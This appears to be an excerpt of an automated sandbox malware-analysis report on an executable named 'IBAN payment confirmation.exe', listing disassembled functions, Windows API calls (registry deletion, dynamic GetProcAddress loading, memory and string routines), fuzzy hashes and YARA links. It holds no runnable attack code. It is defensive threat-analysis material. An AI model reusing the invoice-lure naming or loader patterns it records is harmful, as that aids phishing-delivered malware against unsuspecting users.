API String ID: 2435812281-0
Opcode ID: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction ID: b8df5bf25714b619238b14e922296a4c8fadfdd3343c634a81266bb1cff10f5b
Opcode Fuzzy Hash: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction Fuzzy Hash: 3131F1B1504A1AEFFB21CFA4DCA482AB7B8FF003D67224519F9419217CDB319D50DB69

Function 100018C1 Relevance: 7.7, APIs: 5, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalFree.KERNEL32(?), ref: 10001928
GlobalFree.KERNEL32(?), ref: 10001AB9
GlobalFree.KERNEL32(?), ref: 10001ABE

Memory Dump Source

Source File: 00000000.00000002.1955740112.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1955670729.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955830889.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955921061.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_IBAN payment confirmation.jbxd

Similarity

API ID: FreeGlobal$lstrcpy
String ID:
API String ID: 176019282-0
Opcode ID: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction ID: 5f977143e903dceeb219282147683d12af406f102b63ffa8563e92424d473d54
Opcode Fuzzy Hash: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction Fuzzy Hash: B451B736F01119DAFF10DFA488815EDB7F5FB463D0B228169E804A311CDB75AF419B92

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction ID: ada95b61e8ad34ac3bb2ad29be3e5f3f7733698153a8948b25f67961a2a4c07b
Opcode Fuzzy Hash: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction Fuzzy Hash: 2E113D7190400CFEEF21AF90DE89DAE3B79EB54348F10447AFA05B10A0D3759E51EA69

Function 10001617 Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002167,?,00000808), ref: 1000162F
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002167,?,00000808), ref: 10001636
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002167,?,00000808), ref: 1000164A
GetProcAddress.KERNEL32(10002167,00000000), ref: 10001651
GlobalFree.KERNEL32(00000000), ref: 1000165A

Memory Dump Source

Source File: 00000000.00000002.1955740112.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1955670729.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955830889.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955921061.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_IBAN payment confirmation.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 489282a1a85ab549aaf4814a5337f0dda84e369b99e1904d90d03a31c2257fb7
Instruction ID: 62a37a396924b9b833916b179176740e0848b2f5cedec3081aefe4e9105dc113
Opcode Fuzzy Hash: 489282a1a85ab549aaf4814a5337f0dda84e369b99e1904d90d03a31c2257fb7
Instruction Fuzzy Hash: F0F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08305B104466F601F5190C674AD018B35

Function 00401D41 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD88), ref: 00401DBC

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 2e0cf1ae7789b1e5f567ac3b49d0821904878b54da257bbf53db2f94e685cd66
Instruction ID: 3b80acf522b7bf2f021413e8febbbf72b8f641a50adb0d53ac9f1aa9edf06097
Opcode Fuzzy Hash: 2e0cf1ae7789b1e5f567ac3b49d0821904878b54da257bbf53db2f94e685cd66
Instruction Fuzzy Hash: DF01D131948280AFEB016BB0AE0BB9ABF74DF95301F144479F245B62E2C77914049F7E

Function 00404978 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004226D0,004226D0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404A09
wsprintfW.USER32 ref: 00404A12
SetDlgItemTextW.USER32(?,004226D0), ref: 00404A25

Strings

%u.%u%s%s, xrefs: 004049F3

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 5ac319f3f1fbe76218499090b5c3f3a2c47b89264d6babd6022050aef882dcc8
Instruction ID: 6b2e2e184c3c611d12d6b53aa9198873543b26f6782fca7c8cbe4a2e3a07221a
Opcode Fuzzy Hash: 5ac319f3f1fbe76218499090b5c3f3a2c47b89264d6babd6022050aef882dcc8
Instruction Fuzzy Hash: 1411E2736001243BCB10A66D9C45EEF368D9BC6334F180637FA29F61D1DA799C2186EC

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction ID: 3450dd174e4bd499bd5dd80d9ee349d4783428bbf063aee010979b0fef1ae38f
Opcode Fuzzy Hash: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction Fuzzy Hash: D8217471A44109BEEF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00405DB7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,Call,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405DE1
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E02
RegCloseKey.ADVAPI32(?,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E25

Strings

Call, xrefs: 00405DBA

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction ID: 2fd967afc3cf920b801d0ff69ba4d64ac6492d281fb7c7a5729fe10eb95daac3
Opcode Fuzzy Hash: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction Fuzzy Hash: F4011A3255020AEADB219F56ED09EDB3BACEF85350F00403AF945D6260D335EA64DBF9

Function 00405935 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\,00403344,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 0040593B
CharPrevW.USER32(?,00000000,?,C:\Users\user~1\AppData\Local\Temp\,00403344,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 00405945
lstrcatW.KERNEL32(?,00409014), ref: 00405957

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405935

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\
API String ID: 2659869361-2382934351
Opcode ID: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction ID: 6247f5a3c9563be90945cd41d23768fa590745b080056b24a315d5606c671452
Opcode Fuzzy Hash: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction Fuzzy Hash: E5D05E21101921AAC21277448C04DDF669CEE45300384002AF200B20A2CB7C1D518BFD

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction ID: 0d64a3d5d22a86ce83a9b45ae5cd800923300da454a86426803db7941f711343
Opcode Fuzzy Hash: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction Fuzzy Hash: 76113675A00208AFDB00DFA5C945DAEBBB9EF04344F20407AF905F62A1D7349E50CB68

Function 0040381F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\,00000000,771B2EE0,004037F6,771B3420,00403621,?), ref: 00403839
GlobalFree.KERNEL32(?), ref: 00403840

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 00403831

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user~1\AppData\Local\Temp\
API String ID: 1100898210-2382934351
Opcode ID: 25d95e5d869358f2c737a5aedab69329feae714e5110f3e95756ca8a51977f9e
Instruction ID: bf490ea997193b46d556285b385326fb3516ec302950e4cd11f154ac4515a356
Opcode Fuzzy Hash: 25d95e5d869358f2c737a5aedab69329feae714e5110f3e95756ca8a51977f9e
Instruction Fuzzy Hash: F9E0C23394102057C7216F15ED04B1ABBE86F89B22F018476F9407B7A283746C528BED

Function 00405981 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E28,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\IBAN payment confirmation.exe,C:\Users\user\Desktop\IBAN payment confirmation.exe,80000000,00000003), ref: 00405987
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E28,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\IBAN payment confirmation.exe,C:\Users\user\Desktop\IBAN payment confirmation.exe,80000000,00000003), ref: 00405997

Strings

C:\Users\user\Desktop, xrefs: 00405981

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3976562730
Opcode ID: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction ID: e5431d3d33a146c3150d202dfaa2e9e12a1dec100281116c20088c3141bfb115
Opcode Fuzzy Hash: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction Fuzzy Hash: C6D05EA2414920DED3226704DC44AAFA3ACEF113107894466F901E61A5D7785C808AFD

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.1955740112.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1955670729.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955830889.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955921061.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_IBAN payment confirmation.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy
String ID:
API String ID: 852173138-0
Opcode ID: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction ID: c8ae98bcc35e74d2b72c58860f7bdf59a74f39180ec1ffd54fa0f92d9f30571b
Opcode Fuzzy Hash: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction Fuzzy Hash: 5E3190F6904211AFF314CF64DC859EA77E8EB853D0B124529FB41E726CEB34E8018765

Function 00405ABB Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
lstrcmpiA.KERNEL32(00405CF5,00000000), ref: 00405AE3
CharNextA.USER32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AF4
lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

